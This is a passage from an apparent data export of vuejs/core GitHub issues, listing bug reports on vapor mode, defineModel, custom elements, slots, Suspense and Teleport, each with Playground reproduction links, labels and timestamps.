Inside `App.vue`, the Vue logo which is `<img src=""./assets/vue.svg"" class=""logo vue"" alt=""Vue logo"" />` will work fine. However, the Vite logo which is `<img src=""/vite.svg"" class=""logo"" alt=""Vite logo"" />` causes the following error:

```
TypeError: Cannot read properties of undefined (reading 'findIndex')
    at getImportsExpressionExp (/Users/username/Code/Vue3/vapor/node_modules/.pnpm/@vue+compiler-sfc@3.6.0-alpha.1/node_modules/@vue/compiler-sfc/dist/compiler-sfc.cjs.js:2152:43)
```

So it seems that any images from the 'public' directory cause an error.

### What is expected?

For 'dev' and 'build' to work

### What is actually happening?

An error is thrown when using an image src from the public directory

### System Info

```shell
System:
    OS: macOS 13.7.6
    CPU: (8) x64 Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz
    Memory: 243.83 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.13.1 - ~/Library/pnpm/pnpm
  Browsers:
    Chrome: 138.0.7204.101
    Safari: 18... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor",2025-07-13T01:58:17Z,2025-11-10T06:14:18Z,5
vuejs/core,3225374789,Vue SFC Playground has nowhere to enable `createVaporApp`,"### Vue version

3.6.0-alpha.1

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc1KAzEQfpUxl1Wwu5aKh7ItqBTUg4oKXgKybKfb1GwS8rMWln13JymtPUhPyXw/k28mPbs1Ju8CsikrXW2F8eDQBwNdZbSdcyVaOj30YHEFA6ysbiEjQ8YVV7VWzkPrGphF/jx7QCk1fGorl2fZBVdlsWtKjajw2BpZeaQKoFyP532fzMNQFlQlVCgTPHSjVi9RzjgjnjMoiCyLIz+7ZN7R8yvR5BunFeXvo5+zWrdGSLQvxguKx9kUEhO5itL9PCXM24CXe7xeY/39D75x24hx9mrRoe2QswPnK9ug39GL92fc0v1AUvogSX2CfEOnZYgZd7K7oJYU+0iX0j6m/QvVfLjF1qNy+6Fi0Kgckp4z+pP7E6P/xZ3k18nH1UBb/OrQxp60wEl+k1+NKmnWVT5mwy/qSrFX

### Steps to reproduce

- open a new Vue SFC Playground
- find nowhere to use the `createVaporApp`

### What is expected?

should have somewhere to enable `createVaporApp`

### What is actually happening?

have nowhere to use `createVaporApp`

### System Info

```shell

```

### Any additional comments?

_No response_","scope: playground,scope: vapor",2025-07-12T13:40:17Z,2025-07-17T02:03:14Z,3
vuejs/core,3225365424,"vue v3.6.0-alpha.1 can't work with `<img src=""/logo.svg"" />` in vapor mode","### Vue version

3.6.0-alpha.1

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kEFLxDAQhf9KmPOaKlWRpQoqe9CDioqngJTu2M2aJiGT1MLS/26SsnUPsreZ971J3swObq3lfUBYQkWNk9YzQh8s62tr3I3QVTHJsYyNx86q2mPsGKtk1zJyzbWAQpnWcOpbAazIUwdOWICnxugv2fItGR3/2qV5AY3prFTonq2XRpOAJcsksVop8/OYNe8CLvZ6s8Hm+x99S0PSBLw4JHQ9CpiZr12LfsKrtyccYj3DzqyDiu4j8BXJqJAyTra7oNcx9oEvp33o4s281O07rQaPmvZLpaDJOWa/gHjw+yOr/8Ut+XmeE3qMV/zs0aU34wFLfslPT2plNzU/S8jTxwwv+BUvYfwFrzabCw==

### Steps to reproduce

Click `SFC playground` link.

### What is expected?

`vue 3.6.0` can work with `<img src=""/logo.svg"" />` in vapor mode

### What is actually happening?

As the title says.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-07-12T13:31:46Z,2025-07-12T22:21:34Z,1
vuejs/core,3225176418,perf regression real world use case,"### Vue version

v3.6.0-alpha.1

### Link to minimal reproduction

https://play.vuejs.org/#eNrNWwlz20ay/isTJW9FJbxkW3aWkbWRZTnxlm25ROWlUlHKBskBCQsEUACoY7X67+/rngMzIEBJ3tqqp0osYKanp+/p6YZutw6zrH+5klujrf1imkdZKQpZrjIRB8n85flWWZxvHZwn0TJL81LcilyGXZEm79NVUsqZuBNhni7F+RZQnG/9ZAFf/RIkZWkm+4MJv9NGDHWeDAai1+uJozQJo/kqD8ooTWjkPJmmSVGK0+PxyW+nR8efjk5++3AmXoonwyEWqsnx2eHp2afXh2fHmEjklXgdlLKzg/lqpg82fk1XedEZdoX+jyAUhuMPr9fWV4ho7ZtVHP8hg7zjoJw7wzviB7G7QxgNrrYdHXZPZViIMM2FEg92C1ym5zTKgy9J0J0//6oonoGywhu3WH+VcSZz8WaVTEmMheicyiyOphBqMhe/lVEclZEsdrytJDa6KV7J8krKhNgm5J2iDHKiQHaFTGb0sCNeHojb80QIQ8cNQf75FygQIpalmK7yXCa8yhWnRUW0CnG1iGIpOi7w/stqE95BMPZ+tioWlTacFSxuAnPGSOp1OFKU0iQriRfd0T85TDtPeBcM3rEQHfGepaTaw2T2Pk3KBcmDIOsSyGWxistKBkwzlHocTBdYQFLQ8GbFDbACnuZ8GzLsMNRSb2rAmIgmmNdRkcXBjQEt03fpNIjluMyh7872TIYBCNzuwl0ZfiS24zSZb4s7ZTaEjhRHZJ1MvrBREUv9MEpmHeA9EDd9RfPLlwxliIhC0flGL7M6Ew6iW37uqn2LEUQkSMoKTO/C6jVI9CS0U9HFixU+DdZX+BSBSyJwqYaYQn7ySDQYHBodpLdipiQ48uSpqe4qW6jRXiOEebC7VEy4O/UZjwKlR22H6pe2RCWSmi1Gxe9SXsA1lAU2+qBjJ/BjbSWVebNchuLf/7Yvz38SCBfjVUIDiEDjALB4NlvrWMLR5xeZSB2Sq6DiBQ+el6eyQLybqtAxpSOhwVcshHYXCn8dUnOEseFP+LUPYKzF4w8/WI3ZlUqAVo+fotlIfDazn767je4+d81kGOVFmQRLCRBDXDUbB3YSyyg02KVaK26QsATUtGOY/5inX+S0LN6kudmKxGCWvZ3VZZHpBZUovPEjkgHm3gfloh/GaZp3+DEPklm6RCj7XjzleMaK3BVlKp5WOOkAMFu3SdndyBe2QdMoaz0JUVe83dUEbx3qsxaLqEsYnlkgTl1IoPT5OhDD/t/b9WBoa1HDOxlcKgP0Y7WRbmzmtcy9cToCN4t8d2+H5T3s7T5TazjeK0xNQrZ4fQmvbcyHJaH6c8PufLTEMpkjvhnybZCzYQIkaJQ73n7K6Jl/rViOGaOKhK64DOIVRnaN5NWPjmT6l1aEwkRq8HKa90GUqLAB1cNdCko6n... [TRUNCATED]","scope: reactivity,:exclamation: p4-important,regression",2025-07-12T10:39:55Z,2025-07-18T07:28:32Z,2
vuejs/core,3223957078,Inconsistent update timing behavior when using defineModel,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU9tu2zAM/RVBL0mBxkabDQMyJ+g29GEDdsHWRwGDa9OeWlk2dHEDeP73kVLiZukFRV8MiufQPKSOBv6h65LeA1/xzBZGdo5ZcL5jKtf1WnBnBd8ILZuuNY4NzEDFRlaZtmEzLJtN0BVY96nFWIN2O0KS/pelPlggdNFq61hj6zO2pj/OZ60qZyfvD5DzJ5HlMZKlUTjKxIODplO5AzwxlpWyDwGGDqUsiklhus9fm/v4iLNq2hLUos+VB9wFCRb8RZX9IpTGonPBX9dtid0ufFfiOEfg/IStN2wYJzlZGkfN0oMF8FO8P1xcJevkxrYaL3kgsuDUVSow3zsncbGCr1hACMuVau++hJwzHk73+eIPFLeP5G/slnKC/zBgwfQg+IS53NTgInz56xtsMZ5AHMkrZD8D/gTbKk8aI+2j1yXKPuAFtZ+DB6Wur+zl1oG2+6FIKDHHwBccHUh2fGr0e7nL5E2oE3rELT6w8WufC9p1sjJdKHq5hEpq+EqnzDqDQ2zmZOs9D5fqlYum3xHYX6a9Ups5fSO38rqgeRiZCt0RRgotkuAZrJ9puCMBbPfLCTigIYwjP/eirr1z2OaiULK4pYmxH85MG8rSCEai7XKN70BWSIoNkTYMMRxH7IGERxz7uwdD94crXiZvk7N3fPwHQ+GPgQ==

### Steps to reproduce

1. Create a component that uses `defineModel` to set up 2 way binding
2. Within that component, alter the model and then read its value after within the same tick on some action (`onBeforeMount`, on a button click, etc.)
3. Import and use the component both with the 2-way binding connected and without it fully connected
4. Observe the value read from the model is sometimes the pre-update value, and in other cases is the post-update value

### What is expected?

The model is updated with consistent timing regardless if props are provided or events handlers are provided. I think ideally the model would be updated within the same tick so that reading from it afterwards is intuitive.
Ex:
```ts
const model = de... [TRUNCATED]",,2025-07-11T19:15:01Z,2025-07-12T01:12:07Z,4
vuejs/core,3221342603,Vue3 custom element prop type number is string in production builds,"### Vue version

^3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk2P0zAQ/SsjX9qK1qEqEaiklaD0AAdYLYhTJJRNJq0Xx45sp60U5b8zdppQrRb2lPi9N28+W/ahrvmpQbZmic2NqB1YdE0NMlOHTcqcTdk2VaKqtXHQQoGlULhrrNPVXmKFykEHpdEVTMhmMkp3uqqvOI/8w2chOtfK9uwOYfOc39STc2jtMSv0+V5rt4Yykxa7GYXfKi3vw6eTHBc5RdnJ/GpN0iTqG6Ly6eGwqmXmkF4AyaCHUmvqMuZxyuAhM/T/mscr6jmJBg1FJNEYzuY0E2qiFAf+aLWiwbXeMmVeLCSab7UT1GTK1hAYz2VS6vOXgDnT4HzA8yPmv5/BH+3FYym7M2jRnDBlI+cyc0DX0/vvX/FC/yNZ6aKRpP4PeY9Wy8bX2Ms+Nqqgsm90odrPYY9CHX7Y/cWhskNTvlCv7II+ZbRXP/N/tf633BV/E+JS1dEUh5t44fK8iVAOTZnlGJZ7ZzQt7uoPfoNrUE31gOb9gNEmn2CU1H/666uDwwbOwh0/YZk10tlpf0rBPBnTbKczusSQYrGc976LZTcj15vzuj2upBCnbdv6suCVD4CuSyIPPj2jXyc0fqg0gBWP+fKtx5z9OaIxf8dXrPsDn602Cw==

### Steps to reproduce

When using `lang=ts` with `defineProps<T>()` production builds of the component when defined as a custom element `defineCustomElement` don't coerce string prop attributes to numbers. This works perfectly fine in dev mode.

When referring to the reproduction link, please select the `Comp.vue` tab, then toggle between DEV and PROD you will see the behavior of the rendered value swapping between  `6.03` and `5.50.53`. This is stable for some reason when viewing from the `App.vue` container.

### What is expected?

When building vue code for production, `defineCustomElement` should coerce string props to number props if a valid number string is provided i.e.

`<ce-comps project-id=""5"" />`

### What is actually happening?

Provided `<ce-comps project-id... [TRUNCATED]",":hammer: p3-minor-bug,scope: playground,scope: custom elements",2025-07-11T03:18:34Z,2025-09-04T12:31:28Z,10
vuejs/core,3220141461,Style values with spaces are not preserved,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9kTFPwzAQhf+KdUuW0g4wRaESlA4wAAJGLyE9Qorjs3yXkKrKf8d2aOmAulnvPd377ryHG+fmfYeQQyHYOlMKLrVVqnAqZ9kZvNawj4JSmSNupCF7UXoss1xl7yRCrWJXBs2YLOZGDcvVJ1Zfqt2pNIFVY9Ud9kJkuFi4ML9YnJTBDIQrsh9NPd8y2cCSGjVU1LrGoH9ysZY15OqXRUPoo++HpInvcHbQq9j9j77lIWoanj0y+h41HD0pfY0y2evXRxzC+2i2tOlMSJ8xX5DJdJFxit12dhOwT3KJ9r515KWx9RuvB0HLh6UiaLpdymsIH7I6s/of7uX8arq5HWH8AfjElvI=

### Steps to reproduce

1. Open reproduction and check the styles of the only element that exists.

### What is expected?

Style is binded as `position-area: bottom span-all`

### What is actually happening?

Style is binded exactly as `position-area: bottom`

### Any additional comments?

_No response_",,2025-07-10T17:33:46Z,2025-07-10T18:37:13Z,2
vuejs/core,3219660314,"If you pass a reactive variable to toRaw() within computed, computed will not be re-evaluated even if the reactive variable changes.","### Vue version

5.8.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUsFq3DAQ/ZVBl8iweEnSQgnepWnJoT20JQm9VKW49uxWiS0JabS7wfjfO7LqTQIlkIOxZua9p5mnGcSlc+UuorgQVWi8dgQBKbq1Mrp31hMM4HGzALLX9X4Bje1dJGxhhI23PZww90QZZRprAgH17gYJVokjDe6BI/njZ1HMgJl/OwPnhJQFrNYwKANMpuhNvlJmyXJXdxGL/AuyKPvaSZ0YuijJXnpfP0i+ZeSvWuZJeAYOCHvX1YQcAVS/I5Fl6QeHKyVypAS8bzrd3HPm321128rTQok1H+C0WmbgqyXOZomz5xKt3q3ZoQsYhowex2qZksfqbEuCPPfsEVotn8wmFoICe7zR2/IuWMMPOnmpRKLrDv1XR5rfQAnWTJVUq7vO7j9POfIRF3O++YPN/X/yd+GQckp88xjQ71CJY41qv0XK5aubL3jg87HY2zZ2jH6heI3BdjH1mGEfomm57Se4qdtP01pqs70NVwdCE+ahUqMJOU54JXgzP74w+mO75+Wbicfbwy7+ovAdfVJlC9+W78pzMf4FkkIP3g==

### Steps to reproduce

Click on the SFC Playground link.
1. Click on the add 1 button.
2. Click on the add 2 button.

As a result, computed is not re-evaluated after executing 1. or after executing 2.

### What is expected?

Since the reactive variable in computed has changed, we expect computed to be re-evaluated accordingly.

### What is actually happening?

Why is it that when a reactive variable in computed is passed to toRaw() as a parameter, computed is not re-evaluated even if the reactive variable changes?

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-07-10T14:46:27Z,2025-07-11T14:22:43Z,1
vuejs/core,3219530426,Slot <template> not working when its name starts with an underscore (_) since v3.5.14,"### Vue version

v3.5.14 - v3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNq9Vd9P3DAM/les7gEJHa2mbS+3gsbuhrYJhjSQ9rAiyLW+u0CaVElaOCH+9znN9ReFaUzTpD609mf7s+t8uQ8OiyKsSgymQWwxLwSzeJBIgPgjM3jMNqq09TdZGj9Ue3y5nwRMbmZKZtxyJWdrTG8+o8YfXIi5SgJ4pZnMVG6EspLlPmmdpmhfAQ4NCCVXwAzcIjCNkDYZmRAb0Cgz1JwQds0NuGQTekVArZUGlaalNmG80L2c5+R2QMgUGrljASuUsGYVglWAd9xY4LLOkqq8UBKlDVt2UUMvjgbzANiaz8rFrAnrmmpn88pyK7puyZXxCozdCKSRpUooPYWVRpRJcHBVg6+gjb5V+sbEEYV0qfs8nqh3mZWauYH9ac024AV1vWHUehwNtuQR1dikmhcWBJMr4mENbYVBW/oJc0qkLfRzwlKrHHbCQSG3nTvvexFdyRbfmRq0w9Mq0a/+zZbCPlhdIsHjyHMlZsGEmFLokq/Ca6MknYx7l80NMi+4QH1auFzUzRRqj/PZTYG15WcSVNzinqlWe0Ix2t4kmBDAGaNUcOrIGz7UIVGZs5wnwcWkzcT0CgkzpfdPZ9/wzuEbZ2lwjksu8UjpmWDGHHEUWV3YddLicpWVAp9J4p3f0ShRuk48bFHKjJrr4YzVPK2ZDHJfmzsfUWg0qCsq04WoUqd4wopRFGGVqPArTfSkJTdAcALQ6mTePe4Jjfd8kRa1GlcQfOF/wHaBR5070/z0JAn8Zzdyc8OLY76ot2NMXCk75zQX13IY+eiH2k2cZSrKrO5lW5ey6TTa3Y12Q7fwXY3Gmj1jt26sYzPtsy95kcgHt9e0n8N1H0t3d4zjWgid/tIBHAoySQFtPX30oX1TIwcvONXDY/T4FI+J9tnVUkiktmyeUDCNGfnP3UVAj9PvDJesFNbLPZ1ZW4sIXQxbYa1vht4d42Ka/ik705buHW7XJBJA64+aDr5Gf8O02thcI04jw04j20mNOmkF9p9100n2f+nor//4ZUUFiSb96Tfhu/D12+DhF76Uxyk=

### Steps to reproduce

It seems this issue needs the following conditions to arise:

- Have some templates/slots that start their name with an underscore (_)
- The component that contains the templates/slots (`SubComponent.vue`), is placed in the template of another component (`BaseLayout.vue`) and is a sibling of a conditionally rendered template for a slo... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,regression",2025-07-10T14:12:17Z,2025-07-23T00:40:21Z,0
vuejs/core,3216264322,insertBefore DOM Error When Navigating to Specific Dynamic Nested Route,"### Vue version

3.4 x

### Link to minimal reproduction

https://play.vuejs.org/#eNp1jk0KgzAQhv9KZ7aRkFbAwXbRzVjqFLrQLoWLt0DtvvWxT9kQY6t57/cS93wZjxAV4eSBVohBLk9iwM9pQIsfABjKsJ2QxUsU3gpYO49izCNFp+GP0AruY25HFB8TDR3Z0H00v5U8eMa9tOdm22kZUNiaQbYqcm2pACbiC4kUu3l4bLOUAburD+14PYVK1UJHnQflceosf1SdaAT7sByzFh1+d8Hhy+OkhWZnR/x+mN6cp

### Steps to reproduce

Create a Vue 3.4 project (using Vite, Vue CLI, or similar)

Install and configure vue-router@4

Define the following routes:

```
{
  path: ""/teacher/class/:id"",
  name: ""teacher class"",
  component: ClassOverview,
},
{
  path: ""/teacher/class/:id/badges"",
  name: ""teacher class badges"",
  component: ClassBadgeList,
},
{
  path: ""/teacher/class/:id/badges/:badgeId"",
  name: ""teacher class badge"",
  component: ClassBadgeDetail,
},
```

Use a standard App.vue file with a dynamic key on <router-view>:

```
<template>
  <router-view :key=""$route.fullPath"" />
</template>
```

Use a minimal component for ClassBadgeList.vue:

```
<template>
  <div>
    <p>BADGES PAGE</p>
  </div>
</template>
```

Start the dev server and navigate in the browser to:

/teacher/class/123 ✅ — works

/teacher/class/123/badges/456 ✅ — works

/teacher/class/123/badges ❌ — crashes with DOM error

### What is expected?

Navigating to `/teacher/class/:id/badges` should correctly render the `ClassBadgeList.vue` component like any other route. The page should mount cleanly without any DOM or runtime errors, as happens with the sibling routes.

### What is actually happ... [TRUNCATED]",can't reproduce,2025-07-09T15:05:49Z,2025-07-13T00:12:56Z,1
vuejs/core,3214259333,build error [vite:build-import-analysis] Maximum call stack size exceeded,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk2P0zAQ/SuDL+1K20YITlVaCdAiQAJWgMQBcwjJpOtdx7Y8djYQ5b8zdmjpaj9u4/fejN98jOKVc+s+otiIkmqvXADCEN1OGtU56wOM4LGFCVpvO1iwdCGNNLU1FKCjPWwTv1y8Q60tfLdeN88WZ9KUxVyOC/EjYOd0FZBfAOXV89045uRpKgt+ZVQZFwP0q842qLdSMC8FFDMZkMIb27ldWRzD9MlJYXEuArGvVu3X12QNtzSmXClqViuN/rMLin1LsYHMJK5i27cfMhZ8xPMDXl9hffMAfk1DwqS49Ejoe5TiyIXK7zHM9MXXTzhwfCS5rahZ/QT5BcnqmDzOstfRNGz7RJfdvs+LUWb/jS6GgIYOTSWjSTllvRS8rDSox1r/b/fF+mXOk2ZKU/w34EfuYl6989bRtsFWGbxM8TLXTblvo6nTb5tDAEUBt0pr+BWVbqCuIiH86FXATUZW86mtKlPp36ToJ3ysBtXFjqWcRaGqb4DUHwQcasQGGzbKN6baZbaxPv31bG7wPrHkDO7wqcNsVJ8DDknbcDi+YsbvXtv0F4lqG24=

### Steps to reproduce

when i use props type Function, build will cause a error
```
const props=defineProps({
  testFunction:Function // will build cause [vite:build-import-analysis] Maximum call stack size exceeded
})
```
when i give default value,  will be ok
```
const props=defineProps({
  testFunction: {
   type: Function,
   default: ()=>{}
 }
})
```
**npm run build**
will cause error
x Build failed in 1m 8s
error during build:
[vite:build-import-analysis] Maximum call stack size exceeded
===============

It made me investigate for a long time，can vue team give some advice to avoid this problem?

这个问题让我排查了很久，请问vue团队有什么好的解决方案，避免这个错误吗？







### What is expected?

Function with no default value, build success
函数类型的参数无默认值，也能打包成功

### What is actually happening?

Function with no default value, build failed
函数类型的参数无默认值，打包失败

###... [TRUNCATED]",can't reproduce,2025-07-09T02:13:44Z,2025-07-09T02:40:56Z,2
vuejs/core,3213967216,Prop that is possibly `undefined` cannot be defaulted to `undefined` when `exactOptionalPropertyTypes` and `strictNullChecks` are true,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UtFOGzEQ/JWVXwoSuqiiVaXooGppHtoHiFoeLVXWZXM58NlmvU5ygvt31j4ISCB0L/bM2Dcz63v1I4Rqm1DNVR0b6gJDRE4BrHHtmVYctTrXTrvGu8gQyIcIZ7DrePML1yZZjkdC8wrXncNlpuv7DGiOTJ1rM/R9DtMGHiC5SbqC2QyunB3AB+68MxaiB94gLK0ZWvIihJXH6D6JJTNA38WYryC8Sx3J+eylggWRJ/BNkygCii0k2JkhWxjPj45P8uKNofmLjSIYtTvWrp5NDZS8NWMfrGGUXT17tVEnUoq0se7a6iZ6J83J/QBaNb4PnUW6KoGkuDkUJnPGWr/7UzCmhPLXCW822Ny+g9/Efca0WhJGpC1qdeDYUIs80Yt/l7iX9YHs/SpZUX9A/sXobcoeJ9lPKUNsv9IVt7/74Imlseu42DO6+BzqyWj5pFatcG8anlIbm/tF4uF6CPg2V55Bw5fJ2ouc/CDI/FhUWslzvPigypf4p9WXck67Uabyf4uUPcpATquv1edvanwE4tr+Eg==

### Steps to reproduce

1. In your `tsconfig.json`, under `compilerOptions`, enable `exactOptionalPropertyTypes` and `strictNullChecks`
    - Note: Setting `""strict"": true` will also enable `strictNullChecks` and cause the issue
2. In a component, create a prop whose type is possibly `undefined`, and then set it's default value to be `undefined`
 
Example:

```ts
const props = withDefaults(
	defineProps<{
		stringProp: string | undefined
	}>(),
	{
		stringProp: undefined,
	}
)
```

3. Notice the error:

```
Argument of type '{ stringProp: undefined; }' is not assignable to parameter of type 'InferDefaults<LooseRequired<__VLS_Props>>' with 'exactOptionalPropertyTypes: true'. Consider adding 'undefined' to the types of the target's properties.
  Types of property 'stringProp' are incompatible.ts(2379)
```

...even though 'undefined' has been added to the types ... [TRUNCATED]",scope: types,2025-07-08T23:03:25Z,2025-11-05T08:50:59Z,1
vuejs/core,3211761316,Native semantic Tags doesn't work,"### Version
3.5.17

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNp9kUFLAzEQhf/KmMsqaBfRU9kWVArqQUUFL7ks2+k2NZuEZFILy/53J1lae5DeZt77ZnjD9OLOuck2opiKKjReOYKAFN1cGtU56wl68LiCAVbedlAwWkgjTWNNIOhCC7PknxePqLWFL+v18qy4kKYqx3W8iBvCzumakDuAan097/s8PAxVyV1WA9a+WeeaO2VcJNhedXaJeiYF01JAOaLlga3Ko9XiUlDgZCvVTjbBGj6qT7wUje2c0uhfHSlOLsUUspO8moP/PGeNfMTLvd6ssfn+R9+EXdKkePMY0G9RioNHtW+RRnvx8YI7rg8mnxI10yfMdwxWx5RxxO6jWXLsIy6nfcqvUab9DIsdoQn7o1LQRA6Zl4Lf9XDi9L+4N5PbPCfNIIZfpNevmA==)







### Steps to reproduce
use a search-tag in vue template code

### What is expected?
should work

### What is actually happening?
Failed to resolve component: search

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-07-08T09:28:52Z,2025-07-08T09:35:50Z,1
vuejs/core,3198421193,`<Suspense>` changes the order of elements when using `v-for` with a given `key`,"### Vue version

3.5.7

### Link to minimal reproduction

https://play.vuejs.org/#eNq1VNtu2kAQ/ZXpvgASmDuVKIlEc6mo1BARpD50o8q1B7KJvXZ31waE+PfO2sZALu1DWx6QZ87snDOzM7tl4zh20gTZkI20p0RsQKNJ4nMuRRhHysAWFC5gBwsVhVCh0EoJXURhPNYb6d3ZI0WE0zx12+ynR04CC5hLL5LagDAYajiznNVvXAJshT+Edh2kG+IQKu12u7Krl0CnBDqdzjHQLYFut1vZcXlfsyRcUnVzEWKUmGq1BmfnsLVnMlondYMEiTwjpl+WqVdm6vV6BcUe65dYv99/hg1KbDAYWAUA91zu6tBptVokZtTM+02dJoP448A1SBbAyBcpaLMJ8IwzX2hCNkNYBLj+AEs3prJb8foDZ1kwhetEx0iVFXaeoDTIfNdowNfZ9OYTTGeXVzMYX8/p/8v0cnI9uRjPJ9MbqHqRUugZWAnzQN2B4RNuiN52xhE+ZzVoNI5zPrv8tLGIVBEPQuYd5exFGhjaz8JDZvMgunlQTc05remkooz7rxkPfPuvUfPoGlidGU1DuRBL51FHkjYkGxXOPGIXAappbAQNLWfDfIgs5gZBtPqc+YxKsJgIOvOA3tMr/ke9tj7ObhVqVClyVmLGVUs0OXx1d4Nr+i7BMPKTgKJ/A85QR0FiNeZhHxPpk+yjuEztJNtMIZdzfbU21PN9UVaojcznmjPaVNv4t0o/yO06vewcjTt18eVz8Mpj4+NCSLxVUayr5UaWyc0mpkWa/nikAS3EK/yZKIG0aKVMosuW3F25woDEFVC+UGisUm+jIKXVPreE+/0vvHVot2p/XshiarbbbLDsau+ypX5rePaP238t9h9r/p6istdPmrtO33nPdr8AIij6Jw==

### Steps to reproduce

1. Render an array of elements using a component with async setup
2. Render new elements


### What is expected?

Vue should render the elements in the same order as in the array.

### What is actually happening?

Vue renders new elements in reverse order. 
Additionally, everything works fine if I use `v-for` without `key`.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: suspense,:hammer: p3-minor-bug",2025-07-03T07:49:42Z,2025-07-23T00:42:11Z,0
vuejs/core,3197643693,defineProps lost responsive after deconstruction,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNq1V21v2zYQ/iuE+iHuajl+iZtUc7KXrh82dFuxFftSFYNMUbYaWRRIKnbn+r/vyBNFylbcYUUTwDaP9/Lc8Xh33Ac/VNXooWZBFCwkFXmliGSqru7iMt9UXCiyJ4Jl5EAywTfkAlgv2q23TCqkx8HoUq+0qjiIS/1PeQnblNelIrdayWD81FLTRCWvc/iBG+/2D0kRTQ7vgcGy1BUwsZeN+OApub0j+7gkqHEEAjV79iwuD741FPrJaffkrE0UHVW1XA+M3aONgpUrtX42OQAYUL64xLhARGCh2KYqwASsCPwt0vyB0CKR8jYOAIISvJBx0OzC/rJWipfke1rk9B54PK+ADVfoUUT2+yZah8PiEgU/p8h66nRZZ4y61jP06VTx4hIcMJ6ZlTlQazIyYIxfBq3bsGphz/7Uh673LkHZ4tKLEiyl+lgwIimvWAqUkY0THssmEau8jMh0XO3I+FtzUrkE8Y8RyQq2M5RVUkVkAhxmpcnhVmia/gSaSYImREZrlaRpXq5QiEzmjeQyofcrAf6kEXlyNV3e3MwMnfKCC9C2zhVDRi5SBpSSlz4hFEma1zIiViGthdSSFc9LxQTCA/9Cmf/DwPqV4fPgRWv+wASC7KCZPX9xc639N8yQdTpqdyQYBgpCV2b5avRB8hIuqpHVx7Kp8oKJ3yuVQ/LHARw5HkIcJEXBt78YmhI1G1o6XTN630P/IHeaFgdvBJNMPMAlbvcUHBCDA9bbr/78je3gd7u54WldAPeZzT+Y5EWtMSLbj+AvwPb4DNqfTU2BM3srX+0UK6V1SgPVnAfDHwdQYl6ecd3BnY2ujByEFKJoy9NxpSNFUq4gkxXeW1v1aom3lImm9OkS54gjze7qTnNzh66wHaD4pCzLS/ZG8EouXOmCpKo3SyaMO9511aUIdw7v3gPmu4FXDfGq1IXKqyJnqUFhFBQg/NrcbrNsWVD9NlF07ZixRvza8oAVgOm8Ghx5YQCcKYBH5Q9CJ5NlwUKl60gKH6KmqhYsbUtiR0KqpIk6FhbYru6gXAheru64yKEuJAUx2CJ9IQy9WyZ1ozon3LYCrIBdNdbN72x9/PSJjM+p1XmHLnqB7up09FNF/TXcO47AhWYDlyJcKrgztrI7vtPu0C3jfozhPoNcpyc5f/SR1Yql0IQlwcMn33guPH3EN8y/Iwc9vTopeyPusvVxYcjZNV03d6Uj7bK5I229939/vgd1kxXrcVP0p9AyoGblKXmSZXQyvu7rADdNB3CdxvYE29FM68GO1qn0WZaxbG4r/cjcgp6GAGwzmh7ZsC3wCAy2mR7TaKJJgq9rJMt3LA3NDNVr6Sa9TpMvtOTOaOKd0Zw+p8sWh77VocnAPhDZi+xLQaAZbSGEcWHTTJd2ZsnLAop+uCw4ve/IQ1Z1DYOBN... [TRUNCATED]",,2025-07-03T01:29:35Z,2025-07-04T06:41:00Z,5
vuejs/core,3192273209,Teleport fails on ssr if to is undefined on mount.,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqFUk1Lw0AQ/SvjXqogCVJEKLX4gQc9qKjHBUmTSV272V12J22l9L87u2mjSKm32XnvTd6bzFpcO5ctWhQjMQ6lV44gILVuIo1qnPUEa/BYwwZqbxsYMHUgTWlNIKDCz5DgMhKOW1NhrQxWJ9LkOQQGSZkZLBV9wNRWX7C0fh4SuEc+iJQBa8d5Z4MN8IOwcbog5BfAuFKLVHA5bYmsgatSq3J+KUU/rBskBUxiMc474r+y3r4Uk1T/VRJqTPsYke2F/JlRpUIx1Vhx86jv8gD0WymLgyvMpLaWw8VqOzLfzezS5V282O5Di1NBgddVq1n2Gazh37SOZClK2zil0T85UrxOKUaQkIgVWtvlQ+qRb/F01y8/sJzv6X+GVexJ8ewxoF+gFD22ixThu9dHXHHdg42tWs3sA+ALBqvb6LGj3fB22fYvXnJ7n46ND+Yt3K0ITdiFikYjc5P4UvAB3h6I/mN3mA2TTpoNb/F9gT7O5AUOs/Ps7EJsvgGzhv1P

### Steps to reproduce

Click any of the buttons when ssr is on and preview is refreshed

### What is expected?

No error, content displayed or moved to the correct dom postition


### What is actually happening?

Failed to execute 'insertBefore' on 'Node': parameter 1 is not of type 'Node'.

### System Info

```shell

```

### Any additional comments?

https://github.com/vuejs/core/blob/ba391f5fdf5d84bfacaca6a2a3e7057fc99efa34/packages/runtime-core/src/components/Teleport.ts#L30-L31

I think we should also check for valid props.to here? ie:
```ts
 props && (props.disabled || props.disabled === '' || !props.to)
```",,2025-07-01T12:22:37Z,2025-07-01T12:46:29Z,1
vuejs/core,3187713925,"Suspense use dynamic async component,fallback just work once","### Vue version

3.0+

### Link to minimal reproduction
